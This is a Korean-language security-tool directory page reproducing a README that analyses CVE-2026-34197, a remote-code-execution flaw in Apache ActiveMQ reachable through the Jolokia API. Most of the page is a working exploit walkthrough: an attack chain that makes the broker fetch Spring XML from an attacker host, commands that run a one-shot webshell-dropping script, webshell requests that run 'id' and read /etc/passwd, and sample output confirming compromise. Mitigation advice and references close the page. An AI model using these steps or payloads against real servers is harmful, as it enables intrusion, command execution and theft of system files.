Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-34197 — Jolokia를 통한 Apache ActiveMQ RCE 취약점 분석 및 재현 노트 | Kitploit
도구/GitHubGitHub/asdasddqwdq29-a11y/cve-2026-34197
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubasdasddqwdq29-a11y/cve-2026-34197

CVE-2026-34197

Jolokia를 통한 Apache ActiveMQ RCE 취약점 분석 및 재현 노트

저장소 보기
2개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-34197 - Jolokia를 통한 Apache ActiveMQ RCE

1. 개요

항목세부 정보
CVE IDCVE-2026-34197
CVSS8.8 (HIGH)
취약점 유형원격 코드 실행 (RCE)
CWECWE-20 부적절한 입력 검증 / CWE-94 코드 인젝션
영향받는 구성 요소Apache ActiveMQ Classic - Jolokia JMX-HTTP 브리지
영향받는 버전< 5.19.4 및 6.0.0 ~ 6.2.2
수정된 버전5.19.4 / 6.2.3
공개 날짜2026-04-07
인증기본적으로 필요하며, 일반적으로 admin:admin. 6.0.0-6.1.1 버전은 CVE-2024-32114와 연계하면 인증 없이 접근할 수 있습니다.
발견약 13년간 존재해 온 이 취약점은 Anthropic Claude의 AI 지원 연구를 통해 보고되었습니다.

2. 근본 원인

2.1 공격 체인

root@kitploit:~
Attacker
  |
  |-- 1. POST /api/jolokia/
  |      Invoke BrokerService.addNetworkConnector(String)
  |      Argument: static:(vm://evil?brokerConfig=xbean:http://ATTACKER:PORT/shell.xml)
  |
  v
ActiveMQ Broker
  |
  |-- 2. Parses the URI. Because vm://evil does not exist, ActiveMQ tries to create a broker dynamically.
  |      brokerConfig=xbean:http://ATTACKER:PORT/shell.xml
  |
  |-- 3. The xbean: protocol fetches a remote Spring XML file over HTTP.
  |
  |-- 4. ResourceXmlApplicationContext parses the XML and instantiates a ProcessBuilder bean.
  |      The init-method="start" command runs before configuration validation blocks the URI.
  |
  `-- 5. Remote code execution is reached.

2.2 주요 조건

  1. Jolokia API 노출 - ActiveMQ 웹 콘솔이 /api/jolokia/를 노출하여 JMX-over-HTTP 접근을 제공합니다.
  2. 과도하게 넓은 MBean 허용 목록 - CVE-2022-41678 수정으로 addNetworkConnector를 포함한 광범위한 org.apache.activemq:* 작업을 허용하는 허용 목록이 도입되었습니다.
  3. VM 전송 원격 구성 - vm:// 전송의 brokerConfig 매개변수가 원격 Spring XML을 가리킬 수 있으며, 구성이 거부되기 전에 빈 인스턴스화가 발생합니다.

2.3 수정 동작

ActiveMQ 6.2.3은 vm:// 전송 URI를 거부하도록 addNetworkConnector() 내부에 검증을 추가했습니다:

root@kitploit:~
"error": "VM scheme is not allowed"

3. 재현

3.1 환경

항목세부 정보
공격자 호스트OrbStack Docker를 사용하는 macOS
대상 이미지alfresco/alfresco-activemq:6.2.1-jre17-rockylinux8 (ActiveMQ 6.2.1)
실행 사용자amq (uid=33031)
기본 OSRocky Linux 8.9

3.2 단계

1단계: 랩 시작

root@kitploit:~
cd upstream-poc
docker compose up -d

2단계: Jolokia API 확인

root@kitploit:~
curl -u admin:admin -H "Origin: http://localhost:8161" \
  http://localhost:8161/api/jolokia/

status: 200 응답은 Jolokia에 접근 가능함을 확인합니다.

3단계: 익스플로잇 실행 및 웹셸 작성

root@kitploit:~
python3 exploit_webshell.py \
  -t http://localhost:8161 \
  --lhost <YOUR_IP> \
  --lport 9999

이 스크립트는 다음 작업을 수행합니다:

  1. Jolokia API를 확인합니다.
  2. 브로커 이름을 찾습니다.
  3. 반복 테스트를 안정적으로 수행하기 위해 NC라는 이름의 기존 NetworkConnector를 제거합니다.
  4. 악성 Spring XML 페이로드를 제공하는 로컬 HTTP 서버를 시작합니다. JSP 웹셸이 base64로 내장되어 있어 대상은 XML을 한 번만 가져오면 됩니다.
  5. 취약한 코드 경로를 트리거하기 위해 addNetworkConnector 요청을 전송합니다.
  6. 웹셸이 성공적으로 작성되었는지 확인합니다.

4단계: 웹셸 사용

root@kitploit:~
curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=id"
# uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)

curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=cat+/etc/passwd"

3.3 샘플 출력

root@kitploit:~
===============================================================
  CVE-2026-34197 ActiveMQ Jolokia RCE -> Webshell Drop
  ActiveMQ Classic < 5.19.4 / 6.0.0 - 6.2.2
  Target fetches one XML payload; JSP is written from inline base64
===============================================================

[*] Generated random webshell filename: ndkjwpqe.jsp
[*] Step 1/5: Checking Jolokia API...
[+] Jolokia accessible - status 200
[*] Step 2/5: Discovering broker name...
[!] Using default broker name: localhost
[*] Step 3/5: Cleaning up old NetworkConnector...
[*] Step 4/5: Trying webapps path: /opt/activemq/webapps/admin
[+] Payload server on :9999 (shell.xml with inline base64 webshell)
[+] Target fetched shell.xml from 192.168.3.107
[+] Jolokia returned 200 - exploit triggered
[*] Waiting for target to execute payload...
[+] Target fetched shell.xml from 192.168.3.107
[*] Step 5/5: Verifying webshell...
[+] =======================================================
[+] WEBSHELL OK: http://localhost:8161/admin/ndkjwpqe.jsp?cmd=<command>
[+] RCE Output: uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
[+] =======================================================

4. 버전 비교

5. 익스플로잇 참고 사항 및 제한 사항

5.1 반복 익스플로잇

addNetworkConnector()는 NC라는 이름의 커넥터를 등록합니다. 두 번째 등록은 JMX 이름 충돌로 실패하고 500 오류를 반환합니다. 이 스크립트는 익스플로잇을 트리거하기 전에 removeNetworkConnector("NC")를 호출하여 이 문제를 처리합니다.

5.2 웹셸 작성

ActiveMQ는 임베디드 Jetty를 사용하지만 webapps 디렉터리가 디스크에 존재하며 JSP 엔진이 새로 작성된 .jsp 파일을 컴파일합니다. 따라서 테스트된 환경에서 웹셸 작성이 가능합니다.

페이로드는 인라인 base64를 사용하여 JSP를 작성합니다:

root@kitploit:~
echo <BASE64_ENCODED_JSP> | base64 -d > /opt/activemq/webapps/admin/<random>.jsp

장점:

  • <, >, %, "와 같은 JSP 특수 문자로 인한 XML 파싱 문제를 방지합니다.
  • 대상이 JSP를 다운로드하기 위해 두 번째 아웃바운드 요청을 보낼 필요가 없습니다. 대상은 XML 페이로드만 가져옵니다.

5.3 아웃바운드 네트워크 요구 사항

대상은 Spring XML 페이로드를 가져오기 위해 공격자가 제어하는 HTTP 서버에 도달할 수 있어야 합니다. 대상에 공격자에게 도달하는 아웃바운드 경로가 없으면 이 익스플로잇 경로는 완료될 수 없습니다.

5.4 Jolokia Origin 확인

직접적인 Jolokia 요청은 CORS 검사로 인해 403을 반환할 수 있습니다. 대상과 일치하는 Origin 헤더를 포함하세요:

root@kitploit:~
Origin: http://TARGET:8161

6. 파일 목록

root@kitploit:~
CVE-2026-34197/
|-- README.md                    # This report
|-- exploit_webshell.py          # One-shot webshell writer with inline base64 and random JSP filename
`-- upstream-poc/                # File copy from dinosn/CVE-2026-34197
    |-- docker-compose.yml       # Lab environment for ActiveMQ 6.2.1
    |-- exploit_poc.py           # Original PoC script with serve/exploit/auto modes
    `-- serve_payload.py         # Simple payload HTTP server

스크립트 비교

스크립트목적아웃바운드 요구 사항웹셸
exploit_poc.py임의의 명령을 실행하는 원본 블라인드 RCE PoC필요함없음
exploit_webshell.py작성된 JSP 웹셸을 통한 원샷 반사형 RCE

7. 완화 조치

  1. 업그레이드 - ActiveMQ Classic 5.19.4+ 또는 6.2.3+로 업그레이드하세요.
  2. Jolokia 접근 제한 - 방화벽 규칙 또는 네트워크 정책으로 포트 8161에 대한 접근을 제한하세요.
  3. Jolokia 비활성화 - 원격 JMX 관리가 필요하지 않으면 jetty.xml에서 Jolokia API를 비활성화하세요.
  4. 기본 자격 증명 변경 - 기본 admin:admin 자격 증명을 교체하세요.
  5. 아웃바운드 접근 제한 - ActiveMQ가 신뢰할 수 없는 외부 HTTP 리소스에 도달하지 못하도록 차단하세요.

8. 참고 자료

  • Horizon3.ai 공개: https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/
  • Apache 보안 권고: https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt
  • 원본 PoC 저장소: https://github.com/dinosn/CVE-2026-34197
도구 다운로드
버전이미지Jolokia 응답RCE
5.18.6apache/activemq-classic:5.18.6status: 200, value: NCuid=0(root)로 성공
6.2.1alfresco/alfresco-activemq:6.2.1status: 200, value: NCuid=33031(amq)로 성공
6.2.3alfresco/alfresco-activemq:6.2error: VM scheme is not allowed수정됨
XML 가져오기에만 필요함
임의의 파일명으로 자동 작성됨